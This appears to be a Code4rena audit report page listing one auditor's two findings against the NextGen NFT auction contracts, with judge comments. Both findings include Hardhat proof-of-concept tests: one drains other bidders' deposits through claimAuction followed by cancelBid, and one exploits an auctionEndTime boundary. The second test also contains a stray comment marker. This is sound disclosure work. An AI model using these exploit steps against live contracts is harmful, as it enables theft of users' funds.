Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 134/243
Findings: 2
Award: $5.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
Highest bidders can steal other bids deposits. This is because claimAuction does not mark a bid as false and cancelBid doesn not check that a token auction is claimed. This can happen under these conditions:
const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai") const { ethers } = require("hardhat") const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) }) context("Create a collection & Set Data", () => { it("#createCollection1", async function () { await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#createCollection2", async function () { await contracts.hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#registerCollectionAdmin", async function () { await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) }) it("#setCollectionData1", async function () { await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) }) it("#setCollectionData2", async function () { await contracts.hhCore.setCollectionData( 2, // _collectionID signers.addr1.address, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000, // _setFinalSupplyTimeAfterMint ) }) }) context("Set Minter Contract", () => { it("#setMinterContract", async function () { await contracts.hhCore.addMinterContract( contracts.hhMinter, ) }) }) context("Set Randomizer Contract", () => { it("#setRandomizerContract1", async function () { await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) it("#setRandomizerContract2", async function () { await contracts.hhCore.addRandomizer( 2, contracts.hhRandomizer, ) }) }) context("Set Collection Costs and Phases", () => { it("#setCollectionCost1", async function () { await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionCost2", async function () { await contracts.hhMinter.setCollectionCosts( 2, // _collectionID BigInt(1000000000000000000), // _collectionMintCost 1 eth BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth BigInt(100000000000000000), // _rate 200, // _timePeriod 2, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionPhases1", async function () { await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) it("#setCollectionPhases2", async function () { await contracts.hhMinter.setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) }) context("Mint & Auction", () => { it("#mintNFTCol2", async function () { let indexMin = await contracts.hhCore.viewTokensIndexMin(2); let cirSupp = await contracts.hhCore.viewCirSupply(2); let tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr3.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1796931278 ) await contracts.hhCore.connect(signers.addr3).approve(contracts.hhAuction.getAddress(),tokenId); cirSupp = await contracts.hhCore.viewCirSupply(2); tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr4.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1896931278 ) await contracts.hhCore.connect(signers.addr4).approve(contracts.hhAuction.getAddress(),tokenId); }) }) context("Auction", () => { it("#Auction", async function () { await contracts.hhAuction.connect(signers.addr5).participateToAuction( 20000000000, { value: 500} ) await contracts.hhAuction.connect(signers.addr6).participateToAuction( 20000000001, { value: 510} ) let timestamp = (await ethers.provider.getBlock('latest')).timestamp; let incTime = 1796931277 - timestamp; await ethers.provider.send('evm_increaseTime', [incTime]); await ethers.provider.send('evm_mine'); await contracts.hhAuction.connect(signers.addr5).claimAuction( 20000000000 ) await contracts.hhAuction.connect(signers.addr5).cancelBid( 20000000000, 0 ) }) }) })
Manual review
Invalid Validation
#0 - c4-pre-sort
2023-11-15T04:55:31Z
141345 marked the issue as duplicate of #1172
#1 - c4-judge
2023-12-06T21:29:01Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:42:21Z
alex-ppg marked the issue as partial-50
#3 - c4-judge
2023-12-09T00:20:29Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
5.4864 USDC - $5.49
Users who bid at same timestamp as auctionEndTime will lose their bids. This is because bids are accepted upto and including the auctionEndTime. This will happen under the following conditions:
function participateToAuction(uint256 _tokenid) public payable { require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); } function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
This test in Hardhat misses the timestamp by 1, but a similar test in Foundry should work:
const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai") const { ethers } = require("hardhat") const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) }) context("Create a collection & Set Data", () => { it("#createCollection1", async function () { await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#createCollection2", async function () { await contracts.hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#registerCollectionAdmin", async function () { await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) }) it("#setCollectionData1", async function () { await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) }) it("#setCollectionData2", async function () { await contracts.hhCore.setCollectionData( 2, // _collectionID signers.addr1.address, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000, // _setFinalSupplyTimeAfterMint ) }) }) context("Set Minter Contract", () => { it("#setMinterContract", async function () { await contracts.hhCore.addMinterContract( contracts.hhMinter, ) }) }) context("Set Randomizer Contract", () => { it("#setRandomizerContract1", async function () { await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) it("#setRandomizerContract2", async function () { await contracts.hhCore.addRandomizer( 2, contracts.hhRandomizer, ) }) }) context("Set Collection Costs and Phases", () => { it("#setCollectionCost1", async function () { await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionCost2", async function () { await contracts.hhMinter.setCollectionCosts( 2, // _collectionID BigInt(1000000000000000000), // _collectionMintCost 1 eth BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth BigInt(100000000000000000), // _rate 200, // _timePeriod 2, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionPhases1", async function () { await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) it("#setCollectionPhases2", async function () { await contracts.hhMinter.setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) }) }) context("Mint & Auction", () => { it("#mintNFTCol2", async function () { const indexMin = await contracts.hhCore.viewTokensIndexMin(2); const cirSupp = await contracts.hhCore.viewCirSupply(2); const tokenId = parseInt(cirSupp) + parseInt(indexMin); await contracts.hhMinter.mintAndAuction( signers.addr1.address, // _mintTo '{"tdh": "100"}', // _tokenData 2, //_varg0 2, // _collectionID 1796931278 ) await contracts.hhCore.connect(signers.addr1).approve(contracts.hhAuction.getAddress(),tokenId); }) context("Auction", () => { it("#Auction", async function () { console.log(signers.addr1.address);*/ await contracts.hhAuction.connect(signers.addr2).participateToAuction( 20000000000, { value: 500} ) const owner = await contracts.hhCore.ownerOf( 20000000000 ) expect(owner).to.equal(signers.addr1.address); var timestamp = (await ethers.provider.getBlock('latest')).timestamp;; const incTime = 1796931278 - timestamp; await ethers.provider.send('evm_increaseTime', [incTime]); await ethers.provider.send('evm_mine'); await contracts.hhAuction.connect(signers.addr2).claimAuction( 20000000000 ) const owner2 = await contracts.hhCore.ownerOf( 20000000000 ) expect(owner2).to.equal(signers.addr2.address); await contracts.hhCore.connect(signers.addr2).approve(contracts.hhAuction.getAddress(),20000000000); /* await contracts.hhAuction.connect(signers.addr3).participateToAuction( 20000000000, { value: 510} ) */ }) }) })
Manual review
claimAuction should only run AFTER the auctionEndTime. Change line hardhat/smart-contracts/AuctionDemo.sol:105 thus:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
## Assessed type Math
#0 - c4-pre-sort
2023-11-20T12:40:59Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:33:05Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:34:57Z
alex-ppg marked the issue as duplicate of #1926
#3 - c4-judge
2023-12-08T18:49:12Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)